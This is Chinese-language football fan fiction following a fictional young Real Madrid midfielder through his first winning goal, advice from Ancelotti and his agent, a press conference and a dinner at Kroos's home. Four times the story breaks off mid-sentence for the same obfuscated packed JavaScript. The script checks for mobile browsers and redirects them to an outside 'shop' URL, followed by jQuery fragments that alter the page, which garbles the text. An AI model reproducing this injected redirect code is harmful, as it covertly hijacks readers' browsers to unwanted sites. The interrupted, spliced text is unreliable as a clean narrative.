坎塞洛抬起头,一双深邃的眼中火光熊熊,哼了一声,闷闷道:“……下次。”
伯尼咧嘴一笑,坎塞洛的不甘表情在眼前转瞬即逝,恩德里克大力拥抱了他,手在他肩膀上拍得“啪啪”作响。
“你今天太棒了!我就知道你会进球!太帅了!”
伯尼傻笑,接过他手里的水打开刚喝了一口,肩膀又被人猛拍,他差点一口水呛进气管。
“伯尼,你这一脚我心脏病都快吓出来了!”球衣管理员卢克冲他竖起大拇指。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345615|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一旁的队医也凑过来,笑着朝他眨眨眼睛,“还说腿有点紧?最后那一脚完全看不出来嘛!明天冰敷,别太飘。”
伯尼再次咧嘴傻笑,手里的塑料瓶都被捏得变形,听见身后有人叫他的名字。
“伯尼?伯尼!”
他转过脸,看见一身便服、刚从看台上下来的卡马文加,黝黑的脸上眼睛闪亮亮的。
卡马文加小步朝他走过来,伯尼低头看见他腿上没有绑带,走过去抱了抱他,问他腿怎么样了。
卡马文加摇摇头,笑得嘴展成一个长方形,“我没事。你最后那个绝杀太棒了!天哪!我和米利唐最后差点没缓过来,太精彩了!”
“大家配合得也好,其实我踢完那一脚就完全没有力气了。”
伯尼挠挠头,又感慨一声:“哎!你那个位置……真不好踢啊!以前看你满场跑还没感觉,自己跑起来才知道,有多累。还得一直盯着亚马尔——”
卡马文加大笑起来,“他很烦,对吧?你今天算是体验过了,欢迎!”
“别,你还是早点回来吧!”
伯尼投降似的举起水瓶,看见卡马文加背后的安切洛蒂,立刻把手放下来,顺便扒拉一下紧贴在腰上的汗湿球衣。
卡马文加被队医叫走了。
安切洛蒂手插在外套口袋里,偏分的银发梳得一丝不苟,脸上没什么表情,挑眉看着他。
“踢得不错。”
安切洛蒂的声音很低,像是从胸腔里发出来的一阵短轰鸣,让伯尼想起穿过黑暗隧道的火车,“轰隆隆”的声音一下把他带回今天早上的战术会议。
周围的嘈杂声突然变得很遥远。
当时吕迪格他们正在打趣刚订婚的恩德里克,伯尼走在最前面别过头听,一脚迈进会议室,听见安切洛蒂说:
?“今天你首发。”
伯尼浑身一震,转头看见安切洛蒂站在战术板前,左手插兜,右手端着马克杯吹了吹,然后低头抿咖啡,一眼都不看他。
他僵硬地拖着步子走到自己位置上,坐下,双眼直愣愣地盯着板上的那个“18”号发呆,感觉血液在倒流。
他踢……后腰……吗?
在皇马的这两年,伯尼早已习惯了在加时或补时亮相,今天是他第一次踢首发,同时也是第一次吃黄牌,第一次进球,第一次绝杀。
伯尼不好意思地笑了笑,眉眼弯弯,说:“谢谢教练让我上场。”
“不是进球。”安切洛蒂声音平平,表情却很温和,“是位置。”
伯尼想起他刚才踹倒亚马尔的那一下,和他与德容对脚的那一下,眨了眨眼睛。
“你理解了战术,这是皇马需要的。”安切洛蒂顿了顿,最后才补上一句:“进球……也不错。”
伯尼再次绽放出一脸笑容,盯着主教练的眼睛,诚恳说道:“我只是按照您的要求踢而已。”
安切洛蒂笑了一下,那种扬起一边嘴角的微笑,伯尼能从那双蓝灰色的眼中看见自己的清晰倒影。
一身球衣,大汗淋漓、脏兮兮的样子,满脸的疲惫中夹着着诡异的奕奕神采。
像是个赶了很多路的孩子,终于吃到了心心念念的那块糖。
9.第九瓶水
“伯尼——”
护腿板在袜子里像硬壳一样压着小腿,伯尼弯腰抽出来,抬头看见一个穿着赛事背心的工作人员向他走过来。
工作人员走到他面前伸出手,伯尼看见他举着个橙红色的圆柱,灰色底座,平平无奇像是个可口可乐杯,柱身上一行白色字母——
“LA LIGA”
“Player of the Match”
(“本场最佳球员”)
给他……吗?
伯尼愣了几秒才反应过来,在安切洛蒂的注视下急忙挥手向后退,扬起眉毛瞪大眼睛。
“不不不!这不是我的,卢卡斯在那边,你看你看——”
伯尼举着手里的护腿板指向替补席,看见那边正乱作一团。
吕迪格边说话边用手比划着什么,表情像是吃了酸柠檬一样,克罗斯和贝林厄姆拍掌大笑;韦尼休斯、罗德里戈、恩德里克和许久不曾出现的米利唐凑在一起;巴尔韦德“吨吨吨”地举着水瓶子;卡马文加把队医逗得哈哈大笑……
还有几个穿着球衣的小孩,像小飞机一样穿梭在人群中。
他听见工作人员大笑出声:“哈哈哈!放轻松,放轻松,这确实是卢卡斯的。”
伯尼转头,看见他对他眨眨眼。
“我就是想说,你最后那脚绝杀太漂亮了,太皇马了……你差点就把奖杯拿走了。”
伯尼咧嘴一笑,看见一旁的安切洛蒂也露出个浅浅的微笑。
卢卡斯·巴斯克斯托着圆柱奖杯在广告板前拍照,笑得亮出两排大白牙,背后队友们的起哄声像是此起彼伏的浪,吕迪格甚至在吹口哨。
一造点一进球一助攻,万能工兵,跑满全场。
伯尼差点给跪了。
伯尼站在队友们中间望过去,感觉绝杀的喜悦一点点沉没在心里,就像是往滚烫的汤锅里撒的一把糖,甜蜜渐渐晕开,只剩下淡淡的温馨。
在这个高手云集的俱乐部,他确实还有很长的路要走。
巴萨球员低头沉默地绕过背景板,人人都垂头丧气,而他视线远端,球迷们正慢慢离开梯形看台,像是白色的浪花归入大海,带着飘荡的歌声:
“前进,马德里,别无他求——”
”历史在前,荣耀在身,直到最后一刻!”
“冠军!冠军!”
主场作战就是有底气。
伯尼吐出喉咙里最后一口浊气,偏头看见卡瓦哈尔抱着孩子走上草坪,纳乔被好几个小孩围住,笑得眼睛鼻子皱在一起,完全看不到刚才比赛时的冷硬。
一片祥和的气氛,好像没人想起还要去更衣室。
伯尼索性回去把手机拿出来,在替补席自己最熟悉的位置上瘫坐下,右手边的饮水机“嗡嗡”振动,像是亲切的问候。
他打开手机,屏幕上一条条消息“叮叮叮”地弹了出来,他看见一条皇马官方账号的推送——
@realmadrid:
GOOOOOL DE BERNI!!!
伯尼嘴角上扬,动动手指正要点开,头顶突然响起个稚嫩的童声:
“我爸爸说可以请你来我们家吃饭。”
他举着手机抬头,对上一双清澈的灰绿色眼睛,浅金色的刘海撩上去,圆脸,短鼻梁,长得和克罗斯一模一样。
“你可以来我房间,我给你看我的农场,我已经有温室了。”里奥·克罗斯背着手站在他面前,一双眼睛忽闪忽闪的。
“里奥!”伯尼把手机放进兜里,伸手拍了拍他的肩膀,“你刚才跑哪儿去了?我都没看到你……去你家吃饭?好啊,虽然你爸还没跟我说,但我都有空。”
他看见里奥露出个笑容,嘴咧成一个宽宽的梯形,在心底感叹一声,真的好像啊,简直是克罗斯亲自生出来的一样。
伯尼恍惚间又想起他第一次见到里奥时,他正捧着Switch安静坐在更衣室的角落,他从旁路过,看见屏幕上长方形的绿色农田和游荡的小鸡小牛,窜来窜去的马赛克小人正在田里浇水。
这熟悉的画风让他脚步一顿,忍不住伸手指了指。
“长按A键可以蓄力浇水,但你得先升级一下水壶。”
里奥仰头看他,眼睛里像是有星星,伯尼和他对视一眼就愣住了,下意识去看他球衣的后背——
“KROOS”
……
伯尼想到这里忍不住微笑起来,问道:“你在拉法布里卡踢球还开心吗?”
里奥一下子撅起嘴,伯尼连忙伸手捏捏他的手臂转移话题:
“哎!我十几岁的时候也特别沉迷星露谷,真的,当时我还和一个在青训认识的哥哥一起开了一个双人档,他天天跑去海边钓鱼,我一个人把农场里的活全干了……”
伯尼盯着草坪上跃动的人影,听见里奥兴奋地问他:“那你的农场现在一定很大吧?有没有温室?你们现在还一起玩吗?”
伯尼沉默了一会儿,才转头看着里奥的眼睛,“不算很大,我来皇马之后,他还留在波尔图,就没有一起玩了。”
他看见里奥皱起眉头,一脸懵懂的神情。
“而且我来皇马之前把Switch留在家里了,”伯尼一笑,“得认真踢球了,总不能一直种地。”
里奥离开后,伯尼弯着腿摊在替补席上继续刷手机,点开刚才看见的那条推送。
@realmadrid:
GOOOOOL DE BERNI!!!
配图是他伸出左腿击球的瞬间,沉着左肩,抬着右手臂,球衣上从肩胛到手肘的金色条纹像河流一样弯曲涌动,脸上表情凝固而严肃。
帖子才发布不到10分钟,左下角的点赞数已经达到了1K。
伯尼咧着嘴角也点了个赞,然后向下滑。
@madridista(马德里主义者):
lol
配图是德容受伤时他、坎塞洛和菲利克斯三人并排而立的特写——
坎塞洛斜眼望着他,脸上表情阴沉沉的,脑袋边戳着一个白色气泡:“这人怎么还不下去?黄牌!裁判给黄牌啊!”
菲利克斯歪着嘴角在笑,头顶的气泡里密密写着:“今天终于在巴萨上场踢球了……!嗯草皮还挺绿的……诶德容怎么了?等等我上场是干嘛的来着?”
而他叉腰站在他俩中间,眼神呆愣地盯着前方,在气泡里说:“……这俩人为什么一左一右把我框住了?我现在走还来得及吗。”
伯尼忍不住“扑哧”一笑,球迷真是太有才了,他伸手也点了个赞,眼睁睁看着右下角的红心数飞涨到3K。
他再往下一滑。
@bluemanchester(蓝色曼彻斯特):
What is he doing???
(他在干嘛???)
配的是一小段视频,伯尼正想划走时定睛一看,视频里这个举着话筒、被采访区灯光照得一脸懵的人居然是自己——
他立马把视频调到最开头。
嘈杂的背景音几乎盖住了他说话的声音,他看着自己嘴巴一张一合3秒,然后斜过身体向后退一步,德布劳内从旁挤过,蓝色球衣占据了画面大半,而他仰着头一直盯着德布劳内。
画面从这时开始静音、慢速,然后响起了抒情歌,直到德布劳内消失在画面中,他仍然歪歪举着话筒,张着嘴凝视着他离开的方向。
伯尼额头上落下三道深深的皱纹。
他点开评论区看了一眼就迅速叉掉,随即长按选中“不感兴趣”,抱着腿换了个坐姿,听见有人在他头顶说:
“社交媒体上有很多声音。”
伯尼缓缓抬头,看见仿佛从天而降的若热·门德斯,他的经纪人。
“你怎么来了?”他下意识站起来。
伯尼看见门德斯插着兜后退一步,烟灰色西服,胸口的暗紫色领带像一杯陈年葡萄酒。
门德斯脸上含着笑意,“我IG给你发了消息,看你没回,还以为你们在更衣室开会呢。”
IG……?
伯尼低头看了看聊天界面,愣了愣才反应过来这是小号,自从上次淘汰曼城,他用大号发了条动态后,已经两天没再登上去看过了。
他手指点点切换账号,界面转了两个圈后闪出来,他瞳孔猛地一缩——
……粉丝数量后面跟的单位怎么从K变成M了?
头像旁边的粉丝数量明晃晃显示着“1.5M”,他记得上次看到的时候还是100K,短短三天,从10万粉涨到150万。
伯尼眨眨眼睛,粉丝量瞬间刷新成“1.51M”,数字像失控了一样还在往上跳,他下意识张大了嘴。
门德斯声音里带着笑,“网上有很多声音,或许你不看是对的。”
伯尼抬头,看见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358943|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门德斯笑得眼尾炸出皱纹,嘴边的法令纹像两道括号。
“你踢得非常好,那粒点球,还有今天这个球,不是运气,是你已经准备好了。”
“我特别高兴,你没浪费在皇马的这两年。”
伯尼听见耳边有风声沙沙掠过,还没来得及开口,门德斯收敛了笑容,认真盯着他。
“但是下一场更重要。”
伯尼挑挑眉毛,门德斯上前一步揽过他的肩膀,他闻见一股淡淡的香水味。
“今天他们会谈你,”门德斯压低声音,比了个手势,“明天也会,但后天就不一定了,所以——让皇马没有理由把你拿下来。简单一点踢,不要去证明你什么都会。”
伯尼点点头,说:“好,我努力吧。”
门德斯推着他走向球员通道,继续低声道:“采访,记得说团队,说教练,说运气,也可以说你等了很久,但别说你该上……”
伯尼低头,看见自己足球鞋散开的鞋带一甩一甩,而门德斯的皮鞋尖在反光。
“更衣室,你照常,先听,少说。明天训练,不要迟到早退,保持强度,做好细节。战术,还是那句话——不要急着证明自己,把该做的做完。”
他们踏进球员通道,伯尼眼前的光线立刻暗下来,扭头看见门德斯的侧脸沉在阴影里,眼睛里有光闪烁。
“别因为一场球换了位置,跟着战术走,”门德斯顿了一下,“可能有人会问你之前为什么不上场,你就说你在学。”
伯尼点点头,听见门德斯笑了一声,那种上扬的情绪通过鼻音流露出来。
“嗯……我认为,今天之后他们很难再把你放回替补席了,你踢得确实很好,够得上一个首发,但你要当自己是替补。”
门德斯停住脚步,伯尼下意识还往前迈了一步,回身望向他,看见他眼睛里发亮的光芒。
“去跑,去拼,每一球都当最后一球。”门德斯笑起来,“想想费德里科·巴尔韦德……他就是这样在皇马站稳脚跟的。别浪费接下来这几周。”
伯尼感觉到从脚底涌出一股莫名的振奋感觉,顺着血管和肌肉迅速蔓延到全身,但他还是不太习惯门德斯的语重心长,向左迈开一步,晃了晃酸胀的小腿。
门德斯在他面前伸开双臂,像个烟灰色的十字架。
“伯尼,这是新的开始,欢迎来到伯纳乌。”
伯尼脑子里“嗡”一声响,眼前的画面像是和记忆重合了,他沉默几秒才伸出手,门德斯笑着拥抱了他。
克罗斯就在这时晃入他视线中,举着毛巾摇摇晃晃走进球员通道,一看见他和门德斯就扬起眉毛。
门德斯离开前和克罗斯打了个招呼,又拍拍伯尼的肩膀,笑着说:“你做得很不错,这几天,葡萄牙那边都会在说你了……但别管他们,踢你自己的。”
伯尼目送着门德斯的背影消失在通道尽头,听见克罗斯问:
“门德斯在你们那边,是标配?”
伯尼一笑,“……我不知道,一开始是我舅舅帮我联系他的,但他人挺好的,他支持我们去我们自己想去的地方。”
克罗斯耸耸肩,把毛巾挂到脖子上,“那他原本想让你去哪?”
伯尼忽然觉得浑身刺挠,心想不应该说的,用手捏着后颈沉默半天,克罗斯一直盯着他看,他只能露出个单纯的笑容。
“就是……我那场罚进最后一个点球的那个队。”
?“曼——城?”
克罗斯扬起眉毛,像是不可置信似的抬手抹了抹下巴,“那瓜迪奥拉现在应该挺难受的。”
伯尼挠挠头露出个不好意思的笑容,眼前蓦地浮现出两年前门德斯和他在波尔图对谈时的那一幕。
门德斯坐在桌前,两手交叉握着,皱着眉头,微收着下巴,一脸忧愁地问他:“你想好了,不去曼城,对吗?你和我保证,你真的想好了?”
他看见自己点点头,板着脸简洁答道:“绝不。”
伯尼现在想起来都忍不住摇头想笑,那年皇马在欧冠次回合惊天逆转曼城,成为了两家俱乐部恩怨的开始……他那时是绝不考虑曼城的,即使他们开出了一份非常好的合同。
克罗斯喊他去更衣室,伯尼回过神,和他并肩走过去,听见他问:“明天训练后有安排吗?”
没等伯尼回答,克罗斯又补了一句:“没的话,来我们家吃个饭。”
伯尼咧着嘴角说,好。
10.第十瓶水
第十章第十瓶水
“哒哒、哒哒、哒哒、哒哒……”
他们站在更衣室门外,听见音浪透过墙壁的震动。
克罗斯握住门把手回头瞥了伯尼一眼,眉头微挑,露出一副“你准备好了吗”的表情。
伯尼还记得上次他一开门就被狂甩球衣的韦尼休斯劈头盖脸来了一下,于是笑着一摊手,“你先。”
克罗斯“咔哒”扭开门,欢快的鼓点声、歌声和踢踏的脚步声带起一阵风,伯尼跟在克罗斯身后,感受到地板和耳膜在一起震颤。
椭圆形的更衣室已经成了舞池——
欢快的桑巴乐声中,几个巴西人梗着脖子在一抽一抽地舞动;门迪背对着他们在走太空步;卡瓦哈尔、巴斯克斯和纳乔肩搭着肩边跳边吼;贝林厄姆挥着手像个指挥家……
伯尼蹦跳着吼了几声,像是浑身的压力都在这一刻被释放。疲惫、汗水、焦虑,都顺着拉扯到极限的声带涌入空气中,变成狂欢的空气分子。
可身体上跑满全场的疲惫感还是太强,他视线扫到坐在角落里的卢宁和莫德里奇,连忙向那边移动,直到坐下才大喘了口气。
“呼……”
伯尼感觉卢宁扫了他一眼,扭过头看见那张木木的扑克脸,卢宁正偏着头把缩成一团的手套翻出来,像是上个世纪纺织厂里苦命的工人。
他好不容易才憋住笑。
莫德里奇在这时揽住卢宁的肩膀,低头对他说了句什么,伯尼通过口型读懂了:
“Tranquilo.”
(“没事。”)
伯尼开团秒跟,挪着屁股伸手也搭在卢宁肩膀上,在他耳边嚷道:“没事!我们赢了!下一场不丢就行了!”
卢宁抬头看他,嘴角微微上扬。
伯尼掏出手机,正想和他们讨论讨论向来散漫的角球防守,脚下的地板忽然开始规律地一下下震动。
“砰!砰!砰!砰!”
伯尼抬头一看,他人均赤膊上身的队友们搭着肩排成一个半圆人墙,脚步一左一右地踢踏晃动,齐声低吼着:
“嘿!嘿!嘿!嘿!”
克罗斯站在圆心,拿手机对着他们从左到右扫过去,伯尼透过人墙在门后的镜子里看见他、卢宁和莫德里奇凑在一起安静坐着,而他举着手机……
好像三个误入原始部落的现代人。
克罗斯半蹲着“刷”一下转身,手机对准他们仨,伯尼脸上笑容紧急集合,对着镜头比了个大拇指。
他坐着望见门被推开,安切洛蒂一手反握着门把手,一手对着外面做了个“请”的手势,连忙瞪大眼睛挥了挥手,克罗斯举着手机转向门口——
助教、队医、装备管理员陆续走进来,和四散的人墙混在一起,靠着墙和衣柜或站或坐,人人脸上都是灿烂的笑容。
安切洛蒂上前一步,周围的声音一点点淡下去,仿佛他站的位置像是个无形漩涡。
“能看到这样精彩的比赛,很好。”安切洛蒂的声音低得像是胸腔里的嗡鸣,两手放在胸前指向自己,又摊开手朝向他们。
“我们这些和你们一起工作的人,都感到骄傲。”
伯尼扬起微笑。
“首先,恭喜你们,”安切洛蒂两手交握在身前,扭头扫视一圈,然后挑眉微笑,“其次,我撒谎了。我让你们把这场比赛当成决赛来踢——但我们还有一场西甲,还有拜仁。”
伯尼听见身边有人低笑出声。
安切洛蒂抬了抬手指,像是做预备似的深吸了口气,然后挥手吼道:“明天休息!”
“耶!!!”
伯尼视线中的所有人都振臂高呼,声音响得要把他的耳膜震爆。
他瞥见克罗斯一脚踢开地上的一只黑色拖鞋,下一秒罗德里戈就从椅子上跳到吕迪格背上,吕迪格背着他,晃晃悠悠蹲下去捡拖鞋……
伯尼眨眨眼,真是要多无厘头有多无厘头。
安切洛蒂转身走向门口,留给他们一个潇洒的背影,而一个挂着工牌的工作人员匆匆走进来,扯着嗓子喊:“有个发布会采访,谁去?卢卡斯?”
巴斯克斯:“我两个女儿今天在这里,我今天不行!”
伯尼眼睁睁看着吕迪格伸直了手臂也没够到拖鞋,实在看不下去了,上前两步转身把拖鞋踢给他,吕迪格一脚踩住,然后喊道:“诶米格尔——让伯尼去啊!他还没去过呢!”
伯尼突然感觉背上中了一箭,抬头看见吕迪格亮出两排大白牙的灿烂笑容,而罗德里戈在他背上像海草一样挥舞手臂。
他背后开始冒汗。
克罗斯附和道:“对对对,让他去!”
巴斯克斯也喊着:“对啊!伯尼最后那个球太精彩了,米格尔,让他去吧!”
伯尼僵直地转身,看见米格尔对他比了个手势后急匆匆转身,让他跟上。
他大脑瞬间懵了一下,连忙抬脚就走。
“等一下!你就这么去吗?”巴斯克斯在他背后喊:“外套有吗?没带穿我的吧!”
伯尼低头瞥一眼自己脏兮兮的衣服,然后从善如流地穿上巴斯克斯的球衣外套,拉好拉链,抬头看见巴斯克斯慈祥地笑,说,记得提我的助攻。
伯尼咧嘴一笑。
他跟在米格尔身后穿过昏暗的走廊,米格尔走得飞快,一声声提醒像是头顶的灯带一样仓皇地飞过:
“两到三个问题。”
“简短回答。”
“用西语就好。”
米格尔推开一扇门,他犹眼前如重见天日一般“噼里啪啦”闪过白光,混合采访区的所有人都站在围栏后向他招手,米格尔嘴里重复着“等一下,等一下。”伯尼一挥手,只来得及留下一句:
“团队合作,很棒的比赛!”
米格尔在他背后把门关上,走过一个转角,又推开一扇门,告诉他到了。
伯尼愣了愣才走进去。
一个密闭的、安静的房间,成排的摄像机、麦克风与打灯,像是箭矢一样对准台上一张长桌,而记者们坐在台下,黑压压一片抬头望过来,有人窃窃私语,有人举起镜头。
米格尔叩了叩桌子,“这里。”
伯尼慢慢走过去,球鞋踩在木地板上“笃笃”地响,他抬脚走上台,拉开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368882|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
椅子,坐下的瞬间绷紧的腿筋一抖,“砰”地发出巨大一声。
他控制住表情,手放在桌上端正坐好。
记者问:“伯尼,你第一次首发就进球,还是绝杀,现在感觉怎么样?”
伯尼望着台下的记者们人人妆发精致,捧着膝上的笔记本抬头盯着他,目光炯炯。
他笑了一下,对着麦克风说:“感觉很好,最重要的是球队赢了,大家配合得很好,教练也很信任我,当然……也有一点运气。”
眼前闪光灯“咔咔”闪过,他下意识想揉眼睛,抬抬手臂却忍住了。
另一个记者问:“你等了很久才等到这一刻,你想过会是这样的吗?”
伯尼举着麦克风的手顿在半空,脑海里回想起之前每一场比赛结束前几分钟,他和恩德里克站在边线焦急等待的时刻,他们在等裁判吹哨,然后冲进场内和队友们拥抱。
那算是等吗?
或许不算,因为无论是在场上、在场边,还是在低声嗡鸣的饮水机旁边的每一刻,他都一心一意地等待着皇马的胜利。
伯尼咧开嘴角,努力让自己看上去很真诚,“说实话,我没想那么多。能在皇马踢球,我已经很开心了,每一场比赛我都会尽全力。”
台下有人跟着他一起笑起来,其他人飞快地敲着键盘,窸窣的响动声、空调和摄像机的嗡鸣声交织,一旦他不说话,就再也没有其他声音。
米格尔示意,最后一个问题。
伯尼看见一个戴着眼镜的男记者接过话筒,镜片上反出冷冷的光。
“这个进球会改变你在球队的位置吗?”
伯尼其实想说他也不知道他现在是什么位置,他替补过边锋,今天踢的是后腰,就像个万金油,哪里需要去哪里而已。
或许是他表情变了一点,眼前的闪光灯一下黑一下白地闪,所有攒动的人头都盯着他,深黑的镜头对准了他,而他握着麦克风的塑料壳,突然觉得这个世界好遥远。
扑面而来的探究眼神像一张网似的把他罩住,让他有点怀念遍地野人的更衣室。
伯尼沉默几秒,回答道:“我会继续把球踢好,仅此而已。”
米格尔示意记者,采访结束了。
伯尼把麦克风还给他,手插在口袋里默默向门口走去,球鞋像高跟鞋似的踩在地上一步一响,一抬眼看见门德斯,抱着手臂靠在门边,嘴边笑出一个括号。
“回答得不错。”
伯尼朝他眨眨眼。
门德斯推着他走出去,在他背后念叨着:“之后训练别迟到,也别偷懒,尤其是平图斯的体能课,你体力不够。”
伯尼用手抹了一把额头,发现自己手心也汗津津的。
“现在已经没力气了,对吧?”门德斯拍了拍他。
伯尼拖着脚步往前走,点点头。
门德斯在转角和他兵分两路,他拐个了弯,走过热闹的混采区,昏暗的走廊,一拧门把手——
桑巴舞曲还在回荡着,他又回到了烈火燎原般的更衣室,听见吕迪格“呜呼”怪叫一声:
“怎么样,感觉自己像巨星了吗?”
11.第十一瓶水
第十一章/第十一瓶水
伯尼在家睡了一天,接近黄昏时才开车前往克罗斯住的La Finca区。
白墙、透色玻璃、草坪、泳池。
一排排极简线条的别墅像是游戏里嵌在天幕中的背景,向远处不断延伸。
伯尼向右打一把方向盘,下意识回头看一眼,生怕亚马尔出现在空荡荡的后排。
他想起昨晚的梦,无尽的狂奔,不断的回头观察,有时候亚马尔不在他身后,他对上吕迪格扫视的眼神,汗津津的脸庞,下巴上一圈浓密胡茬。
他仿佛看见吕迪格身后燃起的熊熊胜利之火。
梦里的画面在眼前化开,他停好车,抬眼看见吕迪格站在街边朝他挥手,一身t恤裤衩,墨镜卡在额头上。
吕迪格摁响了门铃。
伯尼听见一阵“咚咚咚”的脚步声,来开门的是里奥,而克罗斯站在院子里,带着笑容向他们伸开双手。
“丽萨带着艾米丽和菲恩去艾米丽同学的生日派对了——今晚就我们。”
伯尼被里奥领着上了二楼,玻璃楼梯像是透明的钢琴键,他低头,正好看见克罗斯站在厨房岛台旁边,面前是好几个包着锡纸的烤盘。
他安心一些,看来晚饭已经准备好了。
里奥指了指电视屏幕,他操控的马赛克小人正站在温室里,周围一圈深棕农田,种着仙人掌和各色花卉,还有洒水器、苹果树和各种工具……
“温室是一个不会下雨、也不会变季节的地方!”
“你可以种任何东西。春天的、夏天的、秋天的——都可以一起种。”
“有温室的话,你就可以一直赚钱。我一般都种那种会一直长的作物,这样每天都有。”
伯尼在里奥旁边坐下,靠着沙发抱着膝盖听,仿佛又回到他的十二岁,一个人离开家去波尔图青训,在玩电脑时点进了刚刚发售的《星露谷》——
简直惊为天人,他一下子就入迷了。
他一直从Steam玩到Switch,整整六年时间,直到他觉得波尔图也像是家乡那般亲切,直到他进入转会市场,而皇马在最后一刻发来邀请。
他坐了一个半小时的飞机飞来马德里。
明明也不是很远,为什么却觉得生活截然不同呢?
伯尼接受里奥的邀请,两个人用电视分屏开了一个双人农场。一切都在起步阶段,里奥留在家里开拓农田,派他去矿场的塔里收集各类的矿石。
伯尼一边“叮叮叮”地采矿打怪,一边看里奥把农田整理得整整齐齐的,忍不住偷笑。
里奥是否有洁癖这个问题都不用思考,伯尼很少见到这个年纪的男孩有如此干净的房间。
“我没体力了!我要睡觉了,你、你也没了——快回来吧!”里奥着急得用手肘戳他。
伯尼操纵着小人往家赶,但还是体力提前耗尽睡在了半路,气得一边哀嚎一边向后倒,“差一点!”
里奥在他头顶叹一口长气。
“唉——”
下楼吃晚饭前,伯尼注意到房间角落的架子上挂着一排白色球衣,忍不住问里奥,我可以看看吗?
里奥眼睛盯着屏幕,说,可以呀,都是我爸爸的。
伯尼伸手翻了翻,全是前皇马球员的球衣,从第一件开始依次属于拉莫斯、马塞洛、卡塞米罗、本泽马。
他翻到加雷斯·贝尔的11号球衣时愣了一下,下意识屏住呼吸手指一拨,看见最后一件是金边条纹,7号,“RONALDO”。
他呼出一口气,盯着那件球衣看了很久。
那件球衣时不时来他脑海里逛一圈,伯尼切开盘子里的烤鸡胸,一口肉配上一口意面,想起那件球衣,喝口气泡水,想起那件球衣——
……好想拥有。
桌对面的吕迪格说:“……你那个球我真以为你是要传给我的,我都往前跑了,你起脚那一下看我干嘛?”
克罗斯摊手,“我没看你。”
“你肯定看我了,我都感觉到了……诶伯尼,当时教练问你要不要罚点球的时候,我在后面真的急死了,我当时想,恩德里克已经拒绝了,没辙,但如果你再拒绝,我绝对会站出来去罚那个点球……我已经想好了,如果没人敢踢,那就我来。”
吕迪格举着杯子耸耸肩,杯子里的气泡水一晃一晃。
伯尼笑了一下,“其实我当时脑子一片空白,还没想清楚就答应了,托尼当时还在背后推我呢。”
他看见克罗斯对他挑挑眉,摊着手往椅背一靠。
“我当时有预感,你肯定能踢进……我一般不会看错。”
吕迪格嘿嘿一笑,也往椅背上一靠,冲着克罗斯一挥手,“那你预测一下——我们能不能赢塞维利亚?”
克罗斯声音淡淡:“我现在想不了那么多,我只是在想明天平图斯的体能课——”
伯尼听到“平图斯”仿佛心脏骤停了一秒,下意识手撑在桌上扶住额头,指尖感受到血正汩汩流过太阳穴。
他看见吕迪格双手抱头,手心反复搓着头发,龇牙咧嘴地嚎:“别说他!我已经开始难受了!”
伯尼从胸腔最深处叹出一口长气,“我也是,想起体能训练我就好绝望。”
他一闭上眼睛,大脑就自动开始回顾体能课的流程:折返冲刺、间歇冲刺、负重跑、阻力跑……当他他已经气喘如牛、眼冒金星,听见平图斯在远处喊:“继续继续!再来!”
吕迪格说:我最讨厌那个面罩。”
伯尼用手摸了摸嘴唇,还记得第一次带限氧面罩跑步的那种绝望感,摇头笑起来,“……别说了。”
克罗斯举起杯子,他们一起碰杯,气氛凝重得像是明天要上战场一样。
“叮!”
玻璃杯清脆的碰撞声回响,伯尼回头,看见里奥正坐在沙发上玩手机,而他背后是一整片透蓝的玻璃窗。
外面很暗,只能看清泳池的微光,而他们的身影映在玻璃上,他看见自己,穿着件运动衫,举着手里的玻璃杯像是火炬。
他听见吕迪格在背后说:“嘶……皇马是不是有球员现在在塞维利亚踢?我没记错吧?”
伯尼回头,和克罗斯异口同声——
“拉莫斯。”
“塞尔吉奥。”
克罗斯正仰头喝水,声音从杯子里荡出来,像是个闷闷的传声筒。
伯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381718|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尼眼前闪过无数画面,拉莫斯的4号球衣,他看过的那些比赛,像电影一样在眼前回放。
塞尔吉奥·拉莫斯,争议十足的铁血后卫。
